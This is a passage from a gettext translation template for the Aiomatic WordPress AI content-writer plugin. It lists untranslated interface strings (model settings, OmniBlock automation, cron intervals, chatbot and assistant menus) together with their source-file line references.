res/aiomatic-main.php:6005 res/aiomatic-main.php:6134 #: res/aiomatic-main.php:6371 res/aiomatic-main.php:6479 #: res/aiomatic-main.php:7815 res/aiomatic-main.php:7991 #: res/aiomatic-main.php:8948 res/aiomatic-review-list.php:389 #: res/aiomatic-review-list.php:3081 res/aiomatic-rules-list.php:374 #: res/aiomatic-rules-list.php:3215 res/aiomatic-shortcodes.php:296 #: res/aiomatic-single-list.php:868 res/aiomatic-single-list.php:1426 #: res/aiomatic-single-list.php:2629 res/aiomatic-single-list.php:3832 #: res/aiomatic-single-list.php:4584 res/aiomatic-single-list.php:5854 #: res/aiomatic-single-list.php:7151 res/aiomatic-spinner-list.php:1124 #: res/aiomatic-spinner-list.php:1904 res/aiomatic-spinner-list.php:2137 #: res/aiomatic-spinner-list.php:2694 res/aiomatic-spinner-list.php:2965 #: res/aiomatic-spinner-list.php:3140 res/aiomatic-spinner-list.php:3334 #: res/aiomatic-spinner-list.php:3523 res/aiomatic-spinner-list.php:3764 #: res/aiomatic-youtube-list.php:359 res/aiomatic-youtube-list.php:2941 #: res/image-seo/seo-panel.php:72 msgid "" "No Assistans added, go to the plugin's 'AI Assistans' menu to add new " "assistants!" msgstr "" #: aiomatic-ajax-actions.php:10207 #: aiomatic-automatic-ai-content-writer.php:18183 #: aiomatic-automatic-ai-content-writer.php:19202 #: aiomatic-shortcodes-file.php:593 res/admin/ai-post-gutenberg.php:110 #: res/admin/ai-post.php:106 res/aiomatic-amazon-list.php:394 #: res/aiomatic-amazon-list.php:3010 res/aiomatic-automation-list.php:485 #: res/aiomatic-automation-list.php:1509 res/aiomatic-automation-list.php:3189 #: res/aiomatic-automation-list.php:4213 res/aiomatic-automation-list.php:6133 #: res/aiomatic-automation-list.php:7162 res/aiomatic-chatbot.php:1318 #: res/aiomatic-chatbot.php:6620 res/aiomatic-listicle-list.php:364 #: res/aiomatic-listicle-list.php:2892 res/aiomatic-main.php:3643 #: res/aiomatic-main.php:4224 res/aiomatic-main.php:4521 #: res/aiomatic-main.php:4898 res/aiomatic-main.php:5911 #: res/aiomatic-main.php:6014 res/aiomatic-main.php:6143 #: res/aiomatic-main.php:6380 res/aiomatic-main.php:6488 #: res/aiomatic-main.php:7824 res/aiomatic-main.php:8000 #: res/aiomatic-main.php:8957 res/aiomatic-review-list.php:394 #: res/aiomatic-review-list.php:3087 res/aiomatic-rules-list.php:379 #: res/aiomatic-rules-list.php:3221 res/aiomatic-shortcodes.php:301 #: res/aiomatic-single-list.php:873 res/aiomatic-single-list.php:1431 #: res/aiomatic-single-list.php:2634 res/aiomatic-single-list.php:3837 #: res/aiomatic-single-list.php:4589 res/aiomatic-single-list.php:5859 #: res/aiomatic-single-list.php:7156 res/aiomatic-spinner-list.php:1133 #: res/aiomatic-spinner-list.php:1913 res/aiomatic-spinner-list.php:2146 #: res/aiomatic-spinner-list.php:2703 res/aiomatic-spinner-list.php:2974 #: res/aiomatic-spinner-list.php:3149 res/aiomatic-spinner-list.php:3343 #: res/aiomatic-spinner-list.php:3532 res/aiomatic-spinner-list.php:3773 #: res/aiomatic-youtube-list.php:364 res/aiomatic-youtube-list.php:2947 #: res/image-seo/seo-panel.php:76 msgid "Don't use assistants, use AI models instead" msgstr "" #: aiomatic-ajax-actions.php:10222 res/aiomatic-shortcodes.php:312 msgid "AI Model*" msgstr "" #: aiomatic-ajax-actions.php:10223 res/aiomatic-shortcodes.php:315 msgid "Select the AI model to be used for this form." msgstr "" #: aiomatic-ajax-actions.php:10238 res/aiomatic-shortcodes.php:327 msgid "Response Streaming*" msgstr "" #: aiomatic-ajax-actions.php:10239 res/aiomatic-shortcodes.php:330 msgid "Select if you want to enable response streaming for your AI form." msgstr "" #: aiomatic-ajax-actions.php:10246 res/aiomatic-main.php:3488 #: res/aiomatic-shortcodes.php:335 res/aiomatic-spinner-list.php:1094 #: res/aiomatic-spinner-list.php:1486 res/aiomatic-spinner-list.php:1584 #: res/aiomatic-spinner-list.php:1762 res/aiomatic-spinner-list.php:2610 #: res/aiomatic-spinner-list.php:2889 res/aiomatic-spinner-list.php:3064 #: res/aiomatic-spinner-list.php:3238 res/aiomatic-spinner-list.php:3432 #: res/aiomatic-spinner-list.php:3721 msgid "Enabled" msgstr "" #: aiomatic-ajax-actions.php:10252 #: aiomatic-automatic-ai-content-writer.php:18995 #: aiomatic-automatic-ai-content-writer.php:19856 #: res/aiomatic-amazon-list.php:1250 res/aiomatic-amazon-list.php:1333 #: res/aiomatic-amazon-list.php:1460 res/aiomatic-amazon-list.php:1644 #: res/aiomatic-amazon-list.php:3798 res/aiomatic-amazon-list.php:3883 #: res/aiomatic-amazon-list.php:4036 res/aiomatic-amazon-list.php:4210 #: res/aiomatic-automation-list.php:1296 res/aiomatic-automation-list.php:2159 #: res/aiomatic-automation-list.php:4000 res/aiomatic-automation-list.php:4863 #: res/aiomatic-automation-list.php:6945 res/aiomatic-automation-list.php:7816 #: res/aiomatic-csv-list.php:574 res/aiomatic-csv-list.php:1733 #: res/aiomatic-languages.php:4 res/aiomatic-listicle-list.php:1158 #: res/aiomatic-listicle-list.php:1241 res/aiomatic-listicle-list.php:1368 #: res/aiomatic-listicle-list.php:3615 res/aiomatic-listicle-list.php:3700 #: res/aiomatic-listicle-list.php:3853 res/aiomatic-main.php:3483 #: res/aiomatic-main.php:6991 res/aiomatic-main.php:8305 #: res/aiomatic-main.php:8887 res/aiomatic-review-list.php:1319 #: res/aiomatic-review-list.php:1402 res/aiomatic-review-list.php:1529 #: res/aiomatic-review-list.php:1713 res/aiomatic-review-list.php:3951 #: res/aiomatic-review-list.php:4036 res/aiomatic-review-list.php:4189 #: res/aiomatic-review-list.php:4363 res/aiomatic-rules-list.php:1424 #: res/aiomatic-rules-list.php:1507 res/aiomatic-rules-list.php:1634 #: res/aiomatic-rules-list.php:4171 res/aiomatic-rules-list.php:4256 #: res/aiomatic-rules-list.php:4409 res/aiomatic-shortcodes.php:336 #: res/aiomatic-single-list.php:1313 res/aiomatic-single-list.php:2210 #: res/aiomatic-single-list.php:3413 res/aiomatic-single-list.php:4148 #: res/aiomatic-single-list.php:5401 res/aiomatic-single-list.php:6715 #: res/aiomatic-single-list.php:8081 res/aiomatic-spinner-list.php:1099 #: res/aiomatic-spinner-list.php:1491 res/aiomatic-spinner-list.php:1589 #: res/aiomatic-spinner-list.php:1767 res/aiomatic-spinner-list.php:1861 #: res/aiomatic-spinner-list.php:2326 res/aiomatic-spinner-list.php:2605 #: res/aiomatic-spinner-list.php:2884 res/aiomatic-spinner-list.php:3059 #: res/aiomatic-spinner-list.php:3233 res/aiomatic-spinner-list.php:3427 #: res/aiomatic-spinner-list.php:3716 res/aiomatic-spinner-list.php:5089 #: res/aiomatic-spinner-list.php:5123 res/aiomatic-youtube-list.php:1176 #: res/aiomatic-youtube-list.php:1259 res/aiomatic-youtube-list.php:1386 #: res/aiomatic-youtube-list.php:1570 res/aiomatic-youtube-list.php:3679 #: res/aiomatic-youtube-list.php:3764 res/aiomatic-youtube-list.php:3917 #: res/aiomatic-youtube-list.php:4091 msgid "Disabled" msgstr "" #: aiomatic-ajax-actions.php:10255 res/aiomatic-shortcodes.php:340 msgid "Show/Hide Advanced Model Settings" msgstr "" #: aiomatic-ajax-actions.php:10258 aiomatic-shortcodes-file.php:620 #: res/aiomatic-shortcodes.php:343 msgid "Max Token Count" msgstr "" #: aiomatic-ajax-actions.php:10259 res/aiomatic-shortcodes.php:346 msgid "Set the AI maximum token count of this form." msgstr "" #: aiomatic-ajax-actions.php:10263 res/aiomatic-shortcodes.php:352 #: res/aiomatic-single-list.php:843 msgid "Temperature" msgstr "" #: aiomatic-ajax-actions.php:10264 res/aiomatic-shortcodes.php:355 msgid "Set the AI temperature of this form." msgstr "" #: aiomatic-ajax-actions.php:10268 aiomatic-shortcodes-file.php:622 #: res/aiomatic-shortcodes.php:361 msgid "Top_p" msgstr "" #: aiomatic-ajax-actions.php:10269 res/aiomatic-shortcodes.php:364 msgid "Set the AI top_p parameter of this form." msgstr "" #: aiomatic-ajax-actions.php:10273 aiomatic-shortcodes-file.php:624 #: res/aiomatic-shortcodes.php:370 msgid "Presence Penalty" msgstr "" #: aiomatic-ajax-actions.php:10274 res/aiomatic-shortcodes.php:373 msgid "Set the AI presence penalty parameter of this form." msgstr "" #: aiomatic-ajax-actions.php:10278 aiomatic-shortcodes-file.php:623 #: res/aiomatic-shortcodes.php:379 msgid "Frequency Penalty" msgstr "" #: aiomatic-ajax-actions.php:10279 res/aiomatic-shortcodes.php:382 msgid "Set the AI frequency penalty parameter of this form." msgstr "" #: aiomatic-ajax-actions.php:10285 res/aiomatic-shortcodes.php:390 msgid "Front End Options" msgstr "" #: aiomatic-ajax-actions.php:10286 res/aiomatic-shortcodes.php:391 msgid "Show Header On Front End*" msgstr "" #: aiomatic-ajax-actions.php:10287 res/aiomatic-shortcodes.php:394 msgid "Select if you want to show the form header to users." msgstr "" #: aiomatic-ajax-actions.php:10309 res/aiomatic-shortcodes.php:403 msgid "Display AI Form Results In" msgstr "" #: aiomatic-ajax-actions.php:10310 res/aiomatic-shortcodes.php:406 msgid "" "Select if you want to show the form results in a modern WP Editor instead of " "a plain textarea." msgstr "" #: aiomatic-ajax-actions.php:10342 res/aiomatic-shortcodes.php:415 msgid "Show Advanced Form Options" msgstr "" #: aiomatic-ajax-actions.php:10343 res/aiomatic-shortcodes.php:418 msgid "Select if you want to show the advanced form options to users." msgstr "" #: aiomatic-ajax-actions.php:10370 res/aiomatic-shortcodes.php:427 msgid "Submit Button Text*" msgstr "" #: aiomatic-ajax-actions.php:10371 res/aiomatic-shortcodes.php:430 msgid "Set the submit button text of this form." msgstr "" #: aiomatic-ajax-actions.php:10375 res/aiomatic-assistants.php:616 #: res/aiomatic-assistants.php:817 res/aiomatic-chatbot.php:8691 #: res/aiomatic-embeddings.php:71 res/aiomatic-shortcodes.php:436 #: res/image-seo/seo-panel.php:171 msgid "Save" msgstr "" #: aiomatic-ajax-actions.php:11451 msgid "You need to log in to perform this action!" msgstr "" #: aiomatic-ajax-actions.php:12378 msgid "" "Daily token limit for your user account was exceeded! Please try again " "tomorrow." msgstr "" #: aiomatic-ajax-actions.php:12430 msgid "No image returned from API call: " msgstr "" #: aiomatic-automatic-ai-content-writer.php:82 msgid "[Aiomatic] Create Embeddings" msgstr "" #: aiomatic-automatic-ai-content-writer.php:83 msgid "[Aiomatic] Run AI Content Editor" msgstr "" #: aiomatic-automatic-ai-content-writer.php:84 msgid "[Aiomatic] Mark As Edited" msgstr "" #: aiomatic-automatic-ai-content-writer.php:85 msgid "[Aiomatic] Mark As Not Edited" msgstr "" #: aiomatic-automatic-ai-content-writer.php:205 #: aiomatic-automatic-ai-content-writer.php:18331 #: aiomatic-automatic-ai-content-writer.php:19309 #: res/aiomatic-automation-list.php:632 res/aiomatic-automation-list.php:1616 #: res/aiomatic-automation-list.php:3336 res/aiomatic-automation-list.php:4320 #: res/aiomatic-automation-list.php:6281 res/aiomatic-automation-list.php:7269 #: res/aiomatic-limits-statistics.php:211 #: res/aiomatic-limits-statistics.php:356 #: res/aiomatic-limits-statistics.php:1832 #: res/aiomatic-limits-statistics.php:1963 res/aiomatic-shortcodes.php:47 #: res/aiomatic-single-list.php:608 res/aiomatic-single-list.php:960 #: res/aiomatic-single-list.php:8626 msgid "Yes" msgstr "" #: aiomatic-automatic-ai-content-writer.php:209 #: aiomatic-automatic-ai-content-writer.php:18325 #: aiomatic-automatic-ai-content-writer.php:19303 #: res/aiomatic-automation-list.php:626 res/aiomatic-automation-list.php:1610 #: res/aiomatic-automation-list.php:3330 res/aiomatic-automation-list.php:4314 #: res/aiomatic-automation-list.php:6275 res/aiomatic-automation-list.php:7263 #: res/aiomatic-limits-statistics.php:205 #: res/aiomatic-limits-statistics.php:362 #: res/aiomatic-limits-statistics.php:1831 #: res/aiomatic-limits-statistics.php:1964 res/aiomatic-shortcodes.php:46 #: res/aiomatic-single-list.php:607 res/aiomatic-single-list.php:959 #: res/aiomatic-single-list.php:8625 msgid "No" msgstr "" #: aiomatic-automatic-ai-content-writer.php:789 msgid "Write Description Using AI" msgstr "" #: aiomatic-automatic-ai-content-writer.php:790 msgid "" "INFO: Configure AI Writer Prompts in the \"Taxonomy Description Writer\" tab " "from" msgstr "" #: aiomatic-automatic-ai-content-writer.php:790 res/aiomatic-chatbot.php:2761 #: res/aiomatic-chatbot.php:3986 res/aiomatic-chatbot.php:4068 #: res/aiomatic-chatbot.php:4106 res/aiomatic-chatbot.php:4144 #: res/aiomatic-chatbot.php:4221 res/aiomatic-chatbot.php:4292 #: res/aiomatic-chatbot.php:4330 res/aiomatic-chatbot.php:4389 #: res/aiomatic-extensions.php:9 res/aiomatic-main.php:3395 #: res/aiomatic-training.php:64 res/aiomatic-training.php:67 msgid "here" msgstr "" #: aiomatic-automatic-ai-content-writer.php:824 #: aiomatic-automatic-ai-content-writer.php:836 msgid "AI Generated Reply" msgstr "" #: aiomatic-automatic-ai-content-writer.php:837 msgid "This process was already started!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:838 msgid "Cannot find this comment ID!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:839 msgid "Working..." msgstr "" #: aiomatic-automatic-ai-content-writer.php:2170 msgid "Activate Plugin License" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2283 #: aiomatic-automatic-ai-content-writer.php:2695 #: aiomatic-shortcodes-file.php:8692 res/aiomatic-chatbot.php:1046 #: res/aiomatic-chatbot.php:7392 res/aiomatic-embeddings.php:41 #: res/aiomatic-limits-statistics.php:413 #: res/aiomatic-limits-statistics.php:2086 res/aiomatic-single-list.php:1158 msgid "Settings" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2300 #: res/aiomatic-automation-list.php:89 res/aiomatic-automation-list.php:2891 #: res/aiomatic-automation-list.php:5717 res/aiomatic-limits-statistics.php:419 #: res/aiomatic-limits-statistics.php:2087 res/aiomatic-main.php:7706 #: res/aiomatic-main.php:8227 msgid "AI OmniBlocks" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2309 class-setup-wizard.php:488 #: res/aiomatic-limits-statistics.php:425 #: res/aiomatic-limits-statistics.php:2088 res/aiomatic-main.php:7616 #: res/aiomatic-main.php:8137 res/aiomatic-single-list.php:287 msgid "Single AI Post Creator" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2317 #: aiomatic-automatic-ai-content-writer.php:2418 msgid "Bulk AI Post Creators" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2323 class-setup-wizard.php:1406 #: class-setup-wizard.php:1448 res/aiomatic-limits-statistics.php:437 #: res/aiomatic-limits-statistics.php:2090 res/aiomatic-spinner-list.php:31 msgid "AI Content Editor" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2332 class-setup-wizard.php:1361 #: class-setup-wizard.php:1400 res/aiomatic-chatbot.php:1029 #: res/aiomatic-limits-statistics.php:443 #: res/aiomatic-limits-statistics.php:2091 msgid "AI Chatbot" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2339 class-setup-wizard.php:939 #: res/aiomatic-assistants.php:91 res/aiomatic-limits-statistics.php:449 #: res/aiomatic-limits-statistics.php:2092 msgid "AI Assistants" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2346 msgid "AI Shortcodes & Forms" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2353 class-setup-wizard.php:979 #: class-setup-wizard.php:980 res/aiomatic-limits-statistics.php:461 #: res/aiomatic-limits-statistics.php:2094 msgid "AI Embeddings" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2361 res/aiomatic-batch.php:48 #: res/aiomatic-limits-statistics.php:467 #: res/aiomatic-limits-statistics.php:2095 msgid "AI Batch Requests" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2368 class-setup-wizard.php:990 #: class-setup-wizard.php:991 res/aiomatic-embeddings.php:49 #: res/aiomatic-limits-statistics.php:473 #: res/aiomatic-limits-statistics.php:2096 res/aiomatic-training.php:40 msgid "AI Model Training" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2375 class-setup-wizard.php:1259 #: class-setup-wizard.php:1304 res/aiomatic-limits-statistics.php:479 #: res/aiomatic-limits-statistics.php:2097 res/aiomatic-playground.php:37 msgid "AI Playground" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2381 #: res/aiomatic-limits-statistics.php:485 #: res/aiomatic-limits-statistics.php:690 #: res/aiomatic-limits-statistics.php:2098 msgid "Limits & Statistics" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2388 class-setup-wizard.php:935 #: res/aiomatic-limits-statistics.php:491 #: res/aiomatic-limits-statistics.php:2099 res/aiomatic-more.php:7 #: res/aiomatic-more.php:10 msgid "More Features" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2394 class-setup-wizard.php:1121 #: res/aiomatic-extensions.php:6 res/aiomatic-limits-statistics.php:497 #: res/aiomatic-limits-statistics.php:2100 msgid "Aiomatic Extensions" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2401 #: res/aiomatic-limits-statistics.php:503 #: res/aiomatic-limits-statistics.php:2101 res/aiomatic-logs.php:52 msgid "Activity & Logging" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2421 #: res/aiomatic-rules-list.php:165 msgid "Keywords/Titles To Blog Posts" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2422 msgid "YouTube To Blog Posts" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2423 #: res/aiomatic-listicle-list.php:165 msgid "Listicle Creator" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2424 class-setup-wizard.php:519 #: res/aiomatic-amazon-list.php:165 res/aiomatic-single-list.php:1028 #: res/aiomatic-single-list.php:5825 msgid "Amazon Product Roundup" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2425 class-setup-wizard.php:527 #: res/aiomatic-single-list.php:1029 res/aiomatic-single-list.php:7122 msgid "Amazon Product Review" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2426 res/aiomatic-csv-list.php:27 msgid "CSV AI Post Creator" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2454 msgid "Tab not found!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2517 msgid "Show Tutorial Video" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2518 msgid "Hide Tutorial Video" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2688 res/other/plugin-dash.php:91 msgid "Support" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2710 msgid "Aiomatic Cron 10 Minute" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2714 msgid "Aiomatic Cron Quarter Hour" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2718 msgid "Aiomatic Cron Half Hour" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2722 msgid "Aiomatic Cron" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2726 msgid "Once A Minute" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2730 msgid "Once Weekly" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2734 msgid "Once Monthly" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2770 #: aiomatic-automatic-ai-content-writer.php:2799 msgid "Generating title..." msgstr "" #: aiomatic-automatic-ai-content-writer.php:2771 #: aiomatic-automatic-ai-content-writer.php:2800 msgid "Generating SEO meta description..." msgstr "" #: aiomatic-automatic-ai-content-writer.php:2772 #: aiomatic-automatic-ai-content-writer.php:2801 msgid "Generating content..." msgstr "" #: aiomatic-automatic-ai-content-writer.php:2773 #: aiomatic-automatic-ai-content-writer.php:2802 msgid "Generating short description (excerpt)..." msgstr "" #: aiomatic-automatic-ai-content-writer.php:2774 #: aiomatic-automatic-ai-content-writer.php:2803 msgid "Generating tags..." msgstr "" #: aiomatic-automatic-ai-content-writer.php:2775 msgid "Saving post..." msgstr "" #: aiomatic-automatic-ai-content-writer.php:2776 #: aiomatic-automatic-ai-content-writer.php:2804 msgid "Done!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2777 #: aiomatic-automatic-ai-content-writer.php:2805 msgid "Please enter a title idea/keyword" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2778 msgid "Nothing to save!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2779 #: aiomatic-automatic-ai-content-writer.php:2806 msgid "Please select at least one checkbox to generate!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2780 msgid "An internal error was encountered, please try again later!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2781 #: aiomatic-automatic-ai-content-writer.php:2807 msgid "An error occurred, please try again later!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2786 #: aiomatic-automatic-ai-content-writer.php:2809 msgid "Aiomatic AI Content Writer" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2810 msgid "Aiomatic AI Content Editor" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2928 msgid "" "The post will be edited respecting the configurations you made in the 'AI " "Content Editor' plugin menu section." msgstr "" #: aiomatic-automatic-ai-content-writer.php:2928 msgid "Manually Run AI Editing (AI Content Editor) For This Post" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2928 msgid "Process with Aiomatic" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2930 msgid "" "Check if this post was already edited using Aiomatic. You can also toggle " "this post info, if you click the button from below." msgstr "" #: aiomatic-automatic-ai-content-writer.php:2930 msgid "Post Editing Status" msgstr "" #: aiomatic-automatic-ai-content-writer.php:2931 msgid "Toggle Editing Status" msgstr "" #: aiomatic-automatic-ai-content-writer.php:8325 #: aiomatic-automatic-ai-content-writer.php:8741 #: aiomatic-automatic-ai-content-writer.php:11799 #: aiomatic-automatic-ai-content-writer.php:12561 #: aiomatic-automatic-ai-content-writer.php:13449 #: aiomatic-automatic-ai-content-writer.php:23696 #: aiomatic-automatic-ai-content-writer.php:24747 #: aiomatic-automatic-ai-content-writer.php:25134 msgid "You are not allowed to do this query" msgstr "" #: aiomatic-automatic-ai-content-writer.php:8491 #: aiomatic-automatic-ai-content-writer.php:8913 msgid "Empty API key provided!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:8888 msgid "Empty functions list provided!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:12598 #: aiomatic-automatic-ai-content-writer.php:13500 msgid "Empty prompt added to image generator" msgstr "" #: aiomatic-automatic-ai-content-writer.php:13568 msgid "Failed to execute the Midjourney task!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:13577 msgid "Failed to create the Midjourney task! " msgstr "" #: aiomatic-automatic-ai-content-writer.php:13602 #: aiomatic-automatic-ai-content-writer.php:13667 msgid "Failed to check the Midjourney task!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:13612 msgid "Error during GoAPI fetch call: " msgstr "" #: aiomatic-automatic-ai-content-writer.php:13635 msgid "Failed to execute the Midjourney upscale task!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:13643 msgid "Failed to get upscale API response" msgstr "" #: aiomatic-automatic-ai-content-writer.php:13678 msgid "Error during GoAPI call: " msgstr "" #: aiomatic-automatic-ai-content-writer.php:17741 #: res/aiomatic-automation-list.php:157 msgid "Set the name of the OmniBlock template to save." msgstr "" #: aiomatic-automatic-ai-content-writer.php:17743 #: res/aiomatic-automation-list.php:161 msgid "OmniBlock Template Title:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17753 #: res/aiomatic-automation-list.php:172 msgid "" "Set the category of the OmniBlock template to save. You can add multiple " "categories, separated by ;" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17755 #: res/aiomatic-automation-list.php:176 msgid "OmniBlock Template Category:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17777 #: res/aiomatic-automation-list.php:191 msgid "Save OmniBlock Template" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17798 #: res/aiomatic-automation-list.php:5744 msgid "OmniBlock type not found: " msgstr "" #: aiomatic-automatic-ai-content-writer.php:17810 #: res/aiomatic-automation-list.php:5756 msgid "" "Last OmniBlock is not a \"Action\" type block! In automatic runs, all data " "created after the last \"Action\" type block will be lost." msgstr "" #: aiomatic-automatic-ai-content-writer.php:17864 #: res/aiomatic-automation-list.php:5813 msgid "" "The following OmniBlock IDs are not used in the queue (you can remove them): " msgstr "" #: aiomatic-automatic-ai-content-writer.php:17874 #: res/aiomatic-automation-list.php:5823 msgid "" "No \"Action\" type OmniBlock added in the queue! Add a \"Action\" type " "OmniBlock, like: \"Save Posts\" to store the data which was created by the " "AI. Otherwise, it will be lost." msgstr "" #: aiomatic-automatic-ai-content-writer.php:17880 #: res/aiomatic-automation-list.php:5829 msgid "Failed to decode OmniBlocks data!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17884 #: res/aiomatic-automation-list.php:5833 msgid "Block Validation Errors" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17887 #: res/aiomatic-automation-list.php:2898 res/aiomatic-automation-list.php:5836 msgid "Manage AI OmniBlocks" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17887 #: res/aiomatic-automation-list.php:195 res/aiomatic-automation-list.php:2899 #: res/aiomatic-automation-list.php:5836 msgid "OmniBlock Queue Starts Here" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17895 #: res/aiomatic-automation-list.php:205 res/aiomatic-automation-list.php:2909 #: res/aiomatic-automation-list.php:5844 msgid "No AI OmniBlock Types Added To This Rule" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17902 #: res/aiomatic-automation-list.php:5851 msgid "Failed to decode saved blocks data!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:17950 #: aiomatic-automatic-ai-content-writer.php:19073 #: res/aiomatic-automation-list.php:253 res/aiomatic-automation-list.php:1381 #: res/aiomatic-automation-list.php:2957 res/aiomatic-automation-list.php:4085 #: res/aiomatic-automation-list.php:5900 res/aiomatic-automation-list.php:7033 msgid "OmniBlock Title" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18022 #: aiomatic-automatic-ai-content-writer.php:19124 #: res/aiomatic-automation-list.php:325 res/aiomatic-automation-list.php:1432 #: res/aiomatic-automation-list.php:3029 res/aiomatic-automation-list.php:4136 #: res/aiomatic-automation-list.php:5972 res/aiomatic-automation-list.php:7084 msgid "OmniBlock Type:" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18022 #: res/aiomatic-automation-list.php:325 res/aiomatic-automation-list.php:3029 #: res/aiomatic-automation-list.php:5972 msgid "" "Created shortcodes by this OmniBlock (usable in OmniBlocks from below this " "one): " msgstr "" #: aiomatic-automatic-ai-content-writer.php:18042 #: aiomatic-automatic-ai-content-writer.php:19122 #: res/aiomatic-automation-list.php:345 res/aiomatic-automation-list.php:1430 #: res/aiomatic-automation-list.php:3049 res/aiomatic-automation-list.php:4134 #: res/aiomatic-automation-list.php:5992 res/aiomatic-automation-list.php:7082 msgid "" "OmniBlock Webhook functionality not enabled in 'Settings' menu of the plugin!" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18044 #: aiomatic-automatic-ai-content-writer.php:19124 #: res/aiomatic-automation-list.php:347 res/aiomatic-automation-list.php:1432 #: res/aiomatic-automation-list.php:3051 res/aiomatic-automation-list.php:4136 #: res/aiomatic-automation-list.php:5994 res/aiomatic-automation-list.php:7084 msgid "Show/Hide Parameters" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18045 #: aiomatic-automatic-ai-content-writer.php:19125 #: res/aiomatic-automation-list.php:348 res/aiomatic-automation-list.php:1433 #: res/aiomatic-automation-list.php:3052 res/aiomatic-automation-list.php:4137 #: res/aiomatic-automation-list.php:5995 res/aiomatic-automation-list.php:7085 msgid "OmniBlock Parameters" msgstr "" #: aiomatic-automatic-ai-content-writer.php:18045 #: aiomatic-automatic-ai-content-writer.php:19125 #: res/aiomatic-automation-list.php:348 res/aiomatic-automation-list.php:1433 #: res/aiomatic-automation-list.php:3052 res/aiomatic-automation-list.php:4137 #: res/aiomatic-automation-list.php:5995 res/aiomatic-automation-list.php:7085 msgid "Set the parameters which will be used in this OmniBlock." msgstr "" #: aiomatic-automatic-ai-content-writer.php:18069 #: aiomatic-automatic-ai-content-writer.php:18098 #: aiomatic-automatic-ai-content-writer.php:18104 #: aiomatic-automatic-ai-content-writer.php:18107 #: aiomatic-automatic-ai-content-writer.php:18110 #: aiomatic-automatic-ai-content-writer.php:18886 #: res/aiomatic-automation-list.php:371 res/aiomatic-automation-list.php:400 #: res/aiomatic-automation-list.php:406 res/aiomatic-automation-list.php:409 #: res/aiomatic-automation-list.php:412 res/aiomatic-automation-list.php:1187 #: res/aiomatic-automation-list.php:3075 res/aiomatic-automation-list.php:3104 #: res/aiomatic-automation-list.php:3110 res/aiomatic-automation-list.php:3113 #: res/aiomatic-automation-list.php:3116 res/aiomatic-automation-list.php:3891 #: res/aiomatic-automation-list.php:6019 res/aiomatic-automation-list.php:6048 #: res/aiomatic-automation-list.php:6054 res/aiomatic-automation-list.php:6057 #: res/aiomatic-automation-list.php:6060 res/aiomatic-automation-list.php:6836 msgid "Shortcode created by OmniBlock ID: " msgstr "" #: aiomatic-automatic-ai-content-writer.php:18385 #: aiomatic-automatic-ai-content-writer.php:19348 #: res/aiomatic-amazon-list.php:1959 res/aiomatic-amazon-list.php:4555 #: res/aiomatic-automation-list.php:686 res/aiomatic-automation-list.php:1655 #: res/aiomatic-automation-list.php:3390 res/aiomatic-automation-list.php:4359 #: res/aiomatic-automation-list.php:6335 res/aiomatic-automation-list.php:7308 #: res/aiomatic-csv-list.php:372 res/aiomatic-csv-list.php:1517 #: res/aiomatic-listicle-list.php:1848 res/aiomatic-listicle-list.php:4349 #: res/aiomatic-review-list.php:2028 res/aiomatic-review-list.php:4708 #: res/aiomatic-rules-list.php:2129 